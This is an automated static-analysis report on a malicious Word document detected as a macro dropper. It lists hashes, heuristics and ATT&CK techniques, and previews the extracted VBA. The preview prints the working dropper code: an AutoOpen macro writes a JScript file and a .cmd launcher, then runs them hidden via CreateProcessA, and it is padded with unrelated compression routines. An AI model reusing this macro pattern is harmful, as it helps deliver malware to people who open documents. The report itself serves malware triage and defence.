Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 280f332f17693655…

MALICIOUS

Office (OOXML)

387.3 KB Created: 2020-03-11 13:24:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2020-09-07
MD5: 8b9a290995aae115b37948f786e9fc1d SHA-1: b596ae2710928a13db17425e4ea5f4492d279a06 SHA-256: 280f332f17693655be87a52621f1c26e9276cb05218ef447f15de3c90f7730de
152 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is an Office document containing VBA macros, specifically an AutoOpen macro, which is a common technique for initial execution. Heuristics and ClamAV detection indicate it's a dropper. The VBA code attempts to create a process and download a payload, though the full URL is truncated. The presence of the AutoOpen macro and the dropper functionality strongly suggests it's delivered as a spearphishing attachment.

Heuristics 5

  • ClamAV: Doc.Dropper.Valyria-9768469-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Valyria-9768469-0
  • VBA project inside OOXML medium 1 related finding OOXML_VBA
    Document contains a VBA project — VBA macros present
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub Autoopen()
'
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 131875 bytes
SHA-256: 9ed79928db83a369631be37f9a9ec86d5b89f44366093ebe862b7fa6f910f510
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"

#If VBA7 Then
Public Declare PtrSafe Function MakeSureDirectoryPathExists Lib "imagehlp" (ByVal lpPath As String) As LongPtr
Private Declare PtrSafe Function CreateProcessA Lib "kernel32" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, ByVal lpProcessAttributes As LongPtr, ByVal lpThreadAttributes As LongPtr, ByVal bInheritHandles As LongPtr, ByVal dwCreationFlags As LongPtr, ByVal lpEnvironment As LongPtr, ByVal lpCurrentDirectory As String, siStartup As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As LongPtr
Private Declare PtrSafe Function WaitForInputIdle Lib "user32" (ByVal hProcess As LongPtr, ByVal dwMilliseconds As LongPtr) As LongPtr
#Else
Public Declare Function MakeSureDirectoryPathExists Lib "imagehlp" (ByVal lpPath As String) As Long
Private Declare Function CreateProcessA Lib "kernel32" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, ByVal lpProcessAttributes As Long, ByVal lpThreadAttributes As Long, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByVal lpEnvironment As Long, ByVal lpCurrentDirectory As String, siStartup As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
Private Declare Function WaitForInputIdle Lib "user32" (ByVal hProcess As Long, ByVal dwMilliseconds As Long) As Long
#End If

Private Type STARTUPINFO
   cb As Long
   lpReserved As String
   lpDesktop As String
   lpTitle As String
   dwX As Long
   dwY As Long
   dwXSize As Long
   dwYSize As Long
   dwXCountChars As Long
   dwYCountChars As Long
   dwFillAttribute As Long
   dwFlags As Long
   wShowWindow As Integer
   cbReserved2 As Integer
   lpReserved2 As Long
   hStdInput As Long
   hStdOutput As Long
   hStdError As Long
End Type

Private Type PROCESS_INFORMATION
   hProcess As Long
   hThread As Long
   dwProcessID As Long
   dwThreadID As Long
End Type

Public Type PROCESS_INFORMATION_EXT
   hProcess As Long
   hThread As Long
   hwnd As Long
   dwProcessID As Long
   dwThreadID As Long
End Type

'SW_HIDE = 0
'SW_NORMAL = 1
'SW_MAXIMIZE = 3
'SW_MINIMIZE = 6
Private Const STARTF_USESHOWNWINDOW = &H1&
Private Const SW_HIDE = 3
Private Const NORMAL_PRIORITY_CLASS = &H8000000

         
Private Const INFINITE = &HFFFF

Public Function StartProcess(strProgram As String, hStdIn As Long, hStdOut As Long, hStdErr As Long) As Long 'PROCESS_INFORMATION_EXT
    Dim piProcess As PROCESS_INFORMATION
    Dim siStartup As STARTUPINFO
    Dim lResult

    siStartup.hStdInput = hStdIn
    siStartup.hStdOutput = hStdOut
    siStartup.hStdError = hStdErr
    
    siStartup.dwFlags = STARTF_USESHOWNWINDOW 'Necessary for wShowWindow to work
    siStartup.wShowWindow = SW_HIDE 'Hide window
    
    lResult = CreateProcessA(vbNullString, strProgram, 0&, 0&, 1&, NORMAL_PRIORITY_CLASS, 0&, vbNullString, siStartup, piProcess)
    
    WaitForInputIdle piProcess.hProcess, INFINITE 'Let it initialise properly before continuing
    StartProcess = lResult
End Function

Public Function maximepixsc() As Boolean

Dim fStrForPathLoad As String
 
    fStrForPathLoad = "C:\MyImages"

    If Right(fStrForPathLoad, 1) <> "\" Then
        fStrForPathLoad = fStrForPathLoad & "\"
        MakeSureDirectoryPathExists fStrForPathLoad
    End If
            
    Open "C:\MyImages\presskey.jse" For Binary As #1
    Put #1, , "try{ try { Monk288();  } catch(sbhKVChina74ko){};try { Monk695();  } catch(sbhKVoldshoes58ko){};try { Monk880();  } catch(sbhKVsharp61ko){};try { Monk723();  } catch" + UserForm1.Label1.Caption
    Close #1
    
    Open "C:\MyImages\presskey.cmd" For Binary As #1
    Put #1, , "cscript //nologo C:\MyImages\presskey.jse"
    Close #1
    
    StartProcess "C:\MyImages\presskey.cmd", 0, 0, 0
    
    Dim myCopy As Document
    Dim docName As String
    
    ' Retrieve name of ActiveDocument
    docName = ActiveDocument.Name
    
    If ActiveDocument.Path = "" Then
    
        ' If not previously saved
        MsgBox "The current document must be saves at least once."
    
    Else

    ' If previously saved, create a copy
    Set myCopy = Documents.Add(ActiveDocument.FullName)

    ' Show SaveAs dialog to allow user to save copy
    With Dialogs(wdDialogFileSaveAs)
        ' Set name in SaveAs dialog
        .Name = "Copy_of_" & docName
        .Show
    End With

    ' Close copy
    myCopy.Close

End If
End Function

Sub Autoopen()
'
' Autoopen
'
maximepixsc


End Sub


Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{EB665BD6-9158-479D-9F1C-16D843DCBA40}{78679056-CEF3-4E00-B044-030AB38385B9}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False



Attribute VB_Name = "Module2"
Option Explicit

'This is a 1 run method but we have to keep the whole contents
'in memory until some variables are saved wich are needed bij the decompressor

Private ExtraBits(7) As Integer
Private StartVal(7) As Integer
Private OutStream() As Byte
Private OutPos As Long
Private OutByteBuf As Integer
Private OutBitCount As Integer
Private ReadBitPos As Integer

Public Sub Compress_VBC_2(ByteArray() As Byte)
    Dim X As Long
    Dim CharCount(255) As Long
    Dim NewLen As Long
    Dim Char As Byte
    Dim ExtBits As Integer
    Call Init_VBC_2
    ReDim OutStream(UBound(ByteArray))
    For X = 0 To UBound(ByteArray)
        Call AddValueToOutStream(CInt(ByteArray(X)))
    Next
'maybe we have some bits leftover so lets store them
    If OutBitCount < 8 Then
        Do While OutBitCount < 8
            OutByteBuf = OutByteBuf * 2
            OutBitCount = OutBitCount + 1
        Loop
        OutStream(OutPos) = OutByteBuf: OutPos = OutPos + 1
    End If
    OutPos = OutPos - 1
    NewLen = UBound(ByteArray)
    ReDim ByteArray(OutPos + 4)
    ByteArray(0) = Int(NewLen / &H1000000) And &HFF
    ByteArray(1) = Int(NewLen / &H10000) And &HFF
    ByteArray(2) = Int(NewLen / &H100) And &HFF
    ByteArray(3) = NewLen And &HFF
End Sub

Public Sub DeCompress_VBC_2(ByteArray() As Byte)
    Dim X As Long
    Dim InpPos As Long
    Dim FileLang As Long
    Dim Char As Byte
    Dim ExtBits As Integer
    Call Init_VBC_2
    For X = 0 To 3
        FileLang = FileLang * 256 + ByteArray(X)
    Next
    InpPos = 4
    ReDim OutStream(FileLang)
    Do While OutPos < FileLang + 1
        ExtBits = ReadBitsFromArray(ByteArray, InpPos, 2)
        If ExtBits > 1 Then ExtBits = ExtBits * 2 + ReadBitsFromArray(ByteArray, InpPos, 1)
        Char = ReadBitsFromArray(ByteArray, InpPos, ExtraBits(ExtBits)) + StartVal(ExtBits)
        Call AddCharToArray(OutStream, OutPos, Char)
    Loop
    OutPos = OutPos - 1
    ReDim ByteArray(OutPos)
End Sub


Private Sub Init_VBC_2()
    ExtraBits(4) = 3
    StartVal(4) = 0
    ExtraBits(5) = 3
    StartVal(5) = 8
    ExtraBits(6) = 4
    StartVal(6) = 16
    ExtraBits(7) = 5
    StartVal(7) = 32
    ExtraBits(0) = 6
    StartVal(0) = 64
    ExtraBits(1) = 7
    StartVal(1) = 128
    OutPos = 0
    OutBitCount = 0
    OutByteBuf = 0
    ReadBitPos = 0
End Sub

Private Function GetValueCode(Value As Integer)
    Select Case Value
    Case Is < 8
        GetValueCode = 4        '100xxx     0-7     +2
    Case Is < 16
        GetValueCode = 5        '101xxx     8-15    +2
    Case Is < 32
        GetValueCode = 6        '110xxxx    16-31   +1
    Case Is < 64
        GetValueCode = 7        '111xxxxx   32-63   0
    Case Is < 128
        GetValueCode = 0        '00xxxxxx   64-127  0
    Case Else
        GetValueCode = 1        '01xxxxxxx  128-255 -1
    End Select
End Function

Private Sub AddValueToOutStream(Number As Integer)
    Dim NumVal As Byte
    Dim X As Long
    NumVal = GetValueCode(Number)
'store 3 bits to with will tell the amount of bits to be read to get the value
    Call AddBitsToOutStream(CLng(NumVal), 2 + (-1 * (NumVal > 1)))
'store 3 to 16 bits to put in the groepsize
    Call AddBitsToOutStream(CLng(Number), ExtraBits(NumVal))
End Sub

'this sub will add an amount of bits into the outputstream
Private Sub AddBitsToOutStream(Number As Long, Numbits As Integer)
    Dim X As Long
    For X = Numbits - 1 To 0 Step -1
        OutByteBuf = OutByteBuf * 2 + (-1 * ((Number And 2 ^ X) > 0))
        OutBitCount = OutBitCount + 1
        If OutBitCount = 8 Then
            OutStream(OutPos) = OutByteBuf
            OutBitCount = 0
            OutByteBuf = 0
            OutPos = OutPos + 1
            If OutPos > UBound(OutStream) Then
                ReDim Preserve OutStream(OutPos + 500)
            End If
        End If
    Next
End Sub

Private Sub AddCharToArray(Toarray() As Byte, ToPos As Long, Char As Byte)
    If ToPos > UBound(Toarray) Then
        ReDim Preserve Toarray(ToPos + 500)
    End If
    Toarray(ToPos) = Char
    ToPos = ToPos + 1
End Sub

Private Function ReadBitsFromArray(FromArray() As Byte, FromPos As Long, Numbits As Integer) As Long
    Dim X As Integer
    Dim Temp As Long
    For X = 1 To Numbits
        Temp = Temp * 2 + (-1 * ((FromArray(FromPos) And 2 ^ (7 - ReadBitPos)) > 0))
        ReadBitPos = ReadBitPos + 1
        If ReadBitPos = 8 Then
            If FromPos + 1 > UBound(FromArray) Then
                Do While X < Numbits
                    Temp = Temp * 2
                    X = X + 1
                Loop
                FromPos = FromPos + 1
                Exit For
            End If
            FromPos = FromPos + 1
            ReadBitPos = 0
        End If
    Next
    ReadBitsFromArray = Temp
End Function



Attribute VB_Name = "Module3"
Option Explicit

'This is a 1 run method but we have to keep the whole contents
'in memory until some variables are saved wich are needed bij the decompressor

Private Type LZSSStream
    Data() As Byte
    Position As Long
    BitPos As Byte
    Buffer As Byte
End Type
Private Stream(3) As LZSSStream   '0=controlstream   1=distenceStream  2=lengthstream   3=literalstream
Private HistPos As Long
Private MaxHistory As Long
Private History As String

Public Sub Compress_LZSS(ByteArray() As Byte)
    Dim SearchStr As String
    Dim X As Long
    Dim Y As Long
    Dim InPos As Long
    Dim NewFileLen As Long
    Dim DistPos As Long
    Dim NewPos As Long
    Call init_LZSS
    MaxHistory = CLng(1024) * DictionarySize
'The first 4 bytes are literal data
    Call AddBitsToStream(Stream(3), DictionarySize, 8)
    For X = 0 To 3
        Call AddBitsToStream(Stream(3), CLng(ByteArray(X)), 8)
        History = History & Chr$(ByteArray(X))
    Next
    InPos = 4
    Do While InPos <= UBound(ByteArray)
        If SearchStr = "" Then
            For X = 1 To 2
                If InPos <= UBound(ByteArray) Then
                    SearchStr = SearchStr & Chr$(ByteArray(InPos))
                    InPos = InPos + 1
                End If
            Next
        End If
        If InPos <= UBound(ByteArray) Then
            If InStr(History, SearchStr & Chr$(ByteArray(InPos))) <> 0 Then
                If Len(SearchStr) = 258 Then
                    NewPos = InStr(History, SearchStr)
                    Do
                        DistPos = NewPos
                        NewPos = InStr(DistPos + 1, History, SearchStr)
                    Loop While NewPos <> 0
                    Call AddBitsToStream(Stream(0), 1, 1)
                    Call AddBitsToStream(Stream(2), 255, 8)
                    Call AddBitsToStream(Stream(1), ((Len(History) - DistPos) And &HFF00) / &H100, 8)
                    Call AddBitsToStream(Stream(1), (Len(History) - DistPos) And &HFF, 8)
                    Call AddToHistory(SearchStr)
                End If
                SearchStr = SearchStr & Chr$(ByteArray(InPos))
                InPos = InPos + 1
            Else
                If Len(SearchStr) < 3 Then
                    Call AddBitsToStream(Stream(0), 0, 1)
                    Call AddBitsToStream(Stream(3), ASC(Left(SearchStr, 1)), 8)
                    Call AddToHistory(Left(SearchStr, 1))
                    SearchStr = Mid$(SearchStr, 2)
                Else
                    NewPos = InStr(History, SearchStr)
                    Do
                        DistPos = NewPos
                        NewPos = InStr(DistPos + 1, History, SearchStr)
                    Loop While NewPos <> 0
                    Call AddBitsToStream(Stream(0), 1, 1)
                    Call AddBitsToStream(Stream(2), Len(SearchStr) - 3, 8)
                    Call AddBitsToStream(Stream(1), ((Len(History) - DistPos) And &HFF00) / &H100, 8)
                    Call AddBitsToStream(Stream(1), (Len(History) - DistPos) And &HFF, 8)
                    Call AddToHistory(SearchStr)
                End If
            End If
        End If
    Loop
'check if we have had all the data
    If SearchStr <> "" Then
        If Len(SearchStr) < 3 Then
            For X = 1 To Len(SearchStr)
                Call AddBitsToStream(Stream(0), 0, 1)
                Call AddBitsToStream(Stream(3), ASC(Mid(SearchStr, X, 1)), 8)
            Next
        Else
            NewPos = InStr(History, SearchStr)
            Do
                DistPos = NewPos
                NewPos = InStr(DistPos + 1, History, SearchStr)
            Loop While NewPos <> 0
            Call AddBitsToStream(Stream(0), 1, 1)
            Call AddBitsToStream(Stream(2), Len(SearchStr) - 3, 8)
            Call AddBitsToStream(Stream(1), ((Len(History) - DistPos) And &HFF00) / &H100, 8)
            Call AddBitsToStream(Stream(1), (Len(History) - DistPos) And &HFF, 8)
        End If
    End If
'send EOF code
    Call AddBitsToStream(Stream(0), 1, 1)
    Call AddBitsToStream(Stream(1), 0, 8)
    Call AddBitsToStream(Stream(1), 0, 8)
'store the last leftover bits
    For X = 0 To 3
        Do While Stream(X).BitPos > 0
            Call AddBitsToStream(Stream(X), 0, 1)
        Loop
    Next
'redim to the correct bounderies
    NewFileLen = 0
    
'These are tryouts to see if it could reach the rates of 'zip'
'    ReDim Preserve Stream(0).Data(Stream(0).Position - 1)
'    Call Compress_VBC_Dynamic(Stream(0).Data)
'    Stream(0).Position = UBound(Stream(0).Data) + 1
'    ReDim Preserve Stream(1).Data(Stream(1).Position - 1)
'    Call Compress_65535(Stream(1).Data)
'    Stream(1).Position = UBound(Stream(1).Data) + 1
'    ReDim Preserve Stream(2).Data(Stream(2).Position - 1)
'    Call Compress_Elias_Gamma(Stream(2).Data)
'    Stream(2).Position = UBound(Stream(2).Data) + 1
'    ReDim Preserve Stream(3).Data(Stream(3).Position - 1)
'    Call Compress_HuffManShortDict(Stream(3).Data)
'    Stream(3).Position = UBound(Stream(3).Data) + 1
    
    
    For X = 0 To 3
        If Stream(X).Position > 0 Then
            ReDim Preserve Stream(X).Data(Stream(X).Position - 1)
            NewFileLen = NewFileLen + Stream(X).Position
        Else
            ReDim Stream(X).Data(0)
            NewFileLen = NewFileLen + 1
        End If
    Next
    
    
'and copy the to the outarray
    ReDim ByteArray(NewFileLen + 5)
    ByteArray(0) = Int(UBound(Stream(0).Data) / &H10000) And &HFF
    ByteArray(1) = Int(UBound(Stream(0).Data) / &H100) And &HFF
    ByteArray(2) = UBound(Stream(0).Data) And &HFF
    ByteArray(3) = Int(UBound(Stream(2).Data) / &H10000) And &HFF
    ByteArray(4) = Int(UBound(Stream(2).Data) / &H100) And &HFF
    ByteArray(5) = UBound(Stream(2).Data) And &HFF
    InPos = 6
    For X = 0 To 3
        For Y = 0 To UBound(Stream(X).Data)
            ByteArray(InPos) = Stream(X).Data(Y)
            InPos = InPos + 1
        Next
    Next
End Sub

Public Sub Decompress_LZSS(ByteArray() As Byte)
    Dim X As Long
    Dim InPos As Long
    Dim Temp As Long
    Dim ContPos As Long
    Dim ContBit As Byte
    Dim DistPos As Long
    Dim LengthPos As Long
    Dim LitPos As Long
    Dim Data As Integer
    Dim Distance As Long
    Dim Length As Integer
    Dim CopyPos As Long
    Dim AddText As String
    Call init_LZSS
    ReDim Stream(0).Data(500)
    Stream(0).BitPos = 0
    Stream(0).Buffer = 0
    Stream(0).Position = 0
    HistPos = 1
    ContPos = 6
    ContBit = 0
    Temp = CLng(ByteArray(0)) * 256 + ByteArray(1)
    Temp = CLng(Temp) * 256 + ByteArray(2)
    DistPos = ContPos + Temp + 1
    Temp = CLng(ByteArray(3)) * 256 + ByteArray(4)
    Temp = CLng(Temp) * 256 + ByteArray(5)
    LengthPos = Temp + Temp + DistPos + 2 + 2
    LitPos = LengthPos + Temp + 1
    MaxHistory = CLng(1024) * ByteArray(LitPos)
    LitPos = LitPos + 1
    For X = 0 To 3
        Call AddBitsToStream(Stream(0), CLng(ByteArray(LitPos + X)), 8)
        History = History & Chr(ByteArray(LitPos + X))
    Next
    LitPos = LitPos + 4
    Do
        If ReadBitsFromArray(ByteArray, ContPos, ContBit, 1) = 0 Then
'read literal data
            Data = ReadBitsFromArray(ByteArray, LitPos, 0, 8)
            Call AddBitsToStream(Stream(0), Data, 8)
            AddText = Chr(Data)
        Else
            Distance = ReadBitsFromArray(ByteArray, DistPos, 0, 8)
            Distance = CLng(Distance) * 256 + ReadBitsFromArray(ByteArray, DistPos, 0, 8)
            If Distance = 0 Then
                Exit Do
            End If
            Length = ReadBitsFromArray(ByteArray, LengthPos, 0, 8) + 3
            CopyPos = Len(History) - Distance
            AddText = Mid(History, CopyPos, Length)
            For X = 1 To Length
                Call AddBitsToStream(Stream(0), ASC(Mid(AddText, X, 1)), 8)
            Next
        End If
        Call AddToHistory(AddText)
    Loop
    ReDim ByteArray(Stream(0).Position - 1)
    For X = 0 To Stream(0).Position - 1
        ByteArray(X) = Stream(0).Data(X)
    Next
End Sub

Private Sub AddToHistory(AddText As String)
    If Len(History) + Len(AddText) < MaxHistory Then
        History = History & AddText
        AddText = ""
        Exit Sub
    ElseIf Len(History) < MaxHistory Then
        HistPos = Len(History)
        History = History & Left(AddText, MaxHistory - Len(History))
        AddText = Mid(AddText, MaxHistory - HistPos + 1)
        HistPos = 1
    End If
    Do
        If HistPos + Len(AddText) < MaxHistory Then
            Mid(History, HistPos, Len(AddText)) = AddText
            HistPos = HistPos + Len(AddText)
            AddText = ""
        Else
            If HistPos <= MaxHistory Then
                Mid(History, HistPos, MaxHistory - HistPos + 1) = Left(AddText, MaxHistory - HistPos + 1)
                AddText = Mid(AddText, MaxHistory - HistPos + 2)
            End If
            HistPos = 1
        End If
    Loop While AddText <> ""
End Sub


Private Sub init_LZSS()
    Dim X As Integer
    For X = 0 To 3
        ReDim Stream(X).Data(10)
        Stream(X).BitPos = 0
        Stream(X).Buffer = 0
        Stream(X).Position = 0
    Next
    History = ""
    HistPos = 1
End Sub

'this sub will add an amount of bits to a certain stream
Private Sub AddBitsToStream(Toarray As LZSSStream, Number As Integer, Numbits As Integer)
    Dim X As Long
    If Numbits = 8 And Toarray.BitPos = 0 Then
        If Toarray.Position > UBound(Toarray.Data) Then ReDim Preserve Toarray.Data(Toarray.Position + 500)
        Toarray.Data(Toarray.Position) = Number And &HFF
        Toarray.Position = Toarray.Position + 1
        Exit Sub
    End If
    For X = Numbits - 1 To 0 Step -1
        Toarray.Buffer = Toarray.Buffer * 2 + (-1 * ((Number And 2 ^ X) > 0))
        Toarray.BitPos = Toarray.BitPos + 1
        If Toarray.BitPos = 8 Then
            If Toarray.Position > UBound(Toarray.Data) Then ReDim Preserve Toarray.Data(Toarray.Position + 500)
            Toarray.Data(Toarray.Position) = Toarray.Buffer
            Toarray.BitPos = 0
            Toarray.Buffer = 0
            Toarray.Position = Toarray.Position + 1
        End If
    Next
End Sub

'this sub will read an amount of bits from the inputstream
Private Function ReadBitsFromArray(FromArray() As Byte, FromPos As Long, FromBit As Byte, Numbits As Integer) As Long
    Dim X As Integer
    Dim Temp As Long
    If FromBit = 0 And Numbits = 8 Then
        ReadBitsFromArray = FromArray(FromPos)
        FromPos = FromPos + 1
        Exit Function
    End If
    For X = 1 To Numbits
        Temp = Temp * 2 + (-1 * ((FromArray(FromPos) And 2 ^ (7 - FromBit)) > 0))
        FromBit = FromBit + 1
        If FromBit = 8 Then
            If FromPos + 1 > UBound(FromArray) Then
                Do While X < Numbits
                    Temp = Temp * 2
                    X = X + 1
                Loop
                FromPos = FromPos + 1
                Exit For
            End If
            FromPos = FromPos + 1
            FromBit = 0
        End If
    Next
    ReadBitsFromArray = Temp
End Function

Private Function ReadASCFromArray(WhichArray() As Byte, FromPos As Long) As Integer
    ReadASCFromArray = WhichArray(FromPos)
    FromPos = FromPos + 1
End Function



Attribute VB_Name = "Module4"
Option Explicit

'This is a 1 run method but we have to keep the whole contents
'in memory until some variables are saved wich are needed bij the decompressor
'This LZSS routine make its compares in bytes to find matches

Private Type LZSSStream
    Data() As Byte
    Position As Long
    BitPos As Byte
    Buffer As Byte
End Type
Private Stream(3) As LZSSStream   '0=controlstream   1=distenceStream  2=lengthstream   3=literalstream
Private MaxHistory As Long

Public Sub Compress_LZSS2(ByteArray() As Byte)
    Dim InPos As Long
    Dim Spos As Long
    Dim HistPos As Long
    Dim ReadLen As Integer
    Dim DistPos As Long
    Dim NewPos As Long
    Dim NewFileLen As Long
    Dim X As Long
    Dim Y As Long
    Call init_LZSS
    MaxHistory = CLng(1024) * DictionarySize
'The first 4 bytes are literal data
    Call AddBitsToStream(Stream(3), CByte(DictionarySize), 8)
    Call AddBitsToStream(Stream(3), ByteArray(0), 8)
    InPos = 1
    Do While InPos + 3 <= UBound(ByteArray)
        ReadLen = 3
        Spos = LZSS_SearchBack(ByteArray, InPos - 1, InPos, ReadLen)
        Do While Spos <> InPos And ReadLen < 258
            HistPos = Spos
            ReadLen = ReadLen + 1
            If InPos + ReadLen - 1 > UBound(ByteArray) Then Exit Do
            Spos = LZSS_SearchBack(ByteArray, HistPos, InPos, ReadLen)
        Loop
        ReadLen = ReadLen - 1
        If ReadLen < 3 Then
            Call AddBitsToStream(Stream(0), 0, 1)
            Call AddBitsToStream(Stream(3), ByteArray(InPos), 8)
            InPos = InPos + 1
        Else
            Call AddBitsToStream(Stream(0), 1, 1)
            Call AddBitsToStream(Stream(2), ReadLen - 3, 8)
            Call AddBitsToStream(Stream(1), ((InPos - HistPos) And &HFF00) / &H100, 8)
            Call AddBitsToStream(Stream(1), (InPos - HistPos) And &HFF, 8)
            InPos = InPos + ReadLen
        End If
    Loop
    If InPos <= UBound(ByteArray) Then
        For X = InPos To UBound(ByteArray)
            Call AddBitsToStream(Stream(0), 0, 1)
            Call AddBitsToStream(Stream(3), ByteArray(X), 8)
        Next
    End If
    
'send EOF code
    Call AddBitsToStream(Stream(0), 1, 1)
    Call AddBitsToStream(Stream(1), 0, 8)
    Call AddBitsToStream(Stream(1), 0, 8)
'store the last leftover bits
    For X = 0 To 3
        Do While Stream(X).BitPos > 0
            Call AddBitsToStream(Stream(X), 0, 1)
        Loop
    Next
'redim to the correct bounderies
    NewFileLen = 0
    For X = 0 To 3
        If Stream(X).Position > 0 Then
            ReDim Preserve Stream(X).Data(Stream(X).Position - 1)
            NewFileLen = NewFileLen + Stream(X).Position
        Else
            ReDim Stream(X).Data(0)
            NewFileLen = NewFileLen + 1
        End If
    Next
'and copy the to the outarray
    ReDim ByteArray(NewFileLen + 5)
    ByteArray(0) = Int(UBound(Stream(0).Data) / &H10000) And &HFF
    ByteArray(1) = Int(UBound(Stream(0).Data) / &H100) And &HFF
    ByteArray(2) = UBound(Stream(0).Data) And &HFF
    ByteArray(3) = Int(UBound(Stream(2).Data) / &H10000) And &HFF
    ByteArray(4) = Int(UBound(Stream(2).Data) / &H100) And &HFF
    ByteArray(5) = UBound(Stream(2).Data) And &HFF
    InPos = 6
    For X = 0 To 3
        For Y = 0 To UBound(Stream(X).Data)
            ByteArray(InPos) = Stream(X).Data(Y)
            InPos = InPos + 1
        Next
    Next
End Sub

Public Sub Decompress_LZSS2(ByteArray() As Byte)
    Dim X As Long
    Dim InPos As Long
    Dim Temp As Long
    Dim ContPos As Long
    Dim ContBit As Byte
    Dim DistPos As Long
    Dim LengthPos As Long
    Dim LitPos As Long
    Dim Data As Integer
    Dim Distance As Long
    Dim Length As Integer
    Dim CopyPos As Long
    Dim AddText As String
'    Call init_LZSS
    ReDim Stream(0).Data(500)
    Stream(0).BitPos = 0
    Stream(0).Buffer = 0
    Stream(0).Position = 0
'    HistPos = 1
    ContPos = 6
    ContBit = 0
    Temp = CLng(ByteArray(0)) * 256 + ByteArray(1)
    Temp = CLng(Temp) * 256 + ByteArray(2)
    DistPos = ContPos + Temp + 1
    Temp = CLng(ByteArray(3)) * 256 + ByteArray(4)
    Temp = CLng(Temp) * 256 + ByteArray(5)
    LengthPos = Temp + Temp + DistPos + 2 + 2
    LitPos = LengthPos + Temp + 1
    MaxHistory = CLng(1024) * ByteArray(LitPos)
    LitPos = LitPos + 1
    Call AddBitsToStream(Stream(0), CLng(ByteArray(LitPos)), 8)
    LitPos = LitPos + 1
    Do
        If ReadBitsFromArray(ByteArray, ContPos, ContBit, 1) = 0 Then
'read literal data
            Call AddBitsToStream(Stream(0), ReadBitsFromArray(ByteArray, LitPos, 0, 8), 8)
        Else
            Distance = ReadBitsFromArray(ByteArray, DistPos, 0, 8)
            Distance = CLng(Distance) * 256 + ReadBitsFromArray(ByteArray, DistPos, 0, 8)
            If Distance = 0 Then
                Exit Do
            End If
            Length = ReadBitsFromArray(ByteArray, LengthPos, 0, 8) + 3
            CopyPos = Stream(0).Position - Distance
            For X = 0 To Length - 1
                Call AddBitsToStream(Stream(0), CByte(Stream(0).Data(CopyPos + X)), 8)
            Next
        End If
    Loop
    ReDim ByteArray(Stream(0).Position - 1)
    For X = 0 To Stream(0).Position - 1
        ByteArray(X) = Stream(0).Data(X)
    Next
End Sub


Private Sub init_LZSS()
    Dim X As Integer
    For X = 0 To 3
        ReDim Stream(X).Data(10)
        Stream(X).BitPos = 0
        Stream(X).Buffer = 0
        Stream(X).Position = 0
    Next
End Sub

Private Function LZSS_SearchBack(Sarray() As Byte, FromPos As Long, SearchPos As Long, SearchLen As Integer) As Long
    Dim Spos As Long
    Dim ToPos As Long
    Dim X As Integer
    ToPos = FromPos - MaxHistory
    If ToPos < 0 Then ToPos = 0
    Spos = FromPos
    Do While Spos > ToPos
        If Sarray(Spos) = Sarray(SearchPos) Then
            X = 1
            Do
                If Sarray(Spos + X) <> Sarray(SearchPos + X) Then Exit Do
                X = X + 1
            Loop Until X > SearchLen - 1
            If X = SearchLen Then       'match found
                LZSS_SearchBack = Spos
                Exit Function
            End If
        End If
        Spos = Spos - 1
    Loop
    LZSS_SearchBack = SearchPos
End Function

'this sub will add an amount of bits to a certain stream
Private Sub AddBitsToStream(Toarray As LZSSStream, Number As Byte, Numbits As Byte)
    Dim X As Long
    If Numbits = 8 And Toarray.BitPos = 0 Then
        If Toarray.Position > UBound(Toarray.Data) Then ReDim Preserve Toarray.Data(Toarray.Position + 500)
        Toarray.Data(Toarray.Position) = Number And &HFF
        Toarray.Position = Toarray.Position + 1
        Exit Sub
    End If
    For X = Numbits - 1 To 0 Step -1
        Toarray.Buffer = Toarray.Buffer * 2 + (-1 * ((Number And 2 ^ X) > 0))
        Toarray.BitPos = Toarray.BitPos + 1
        If Toarray.BitPos = 8 Then
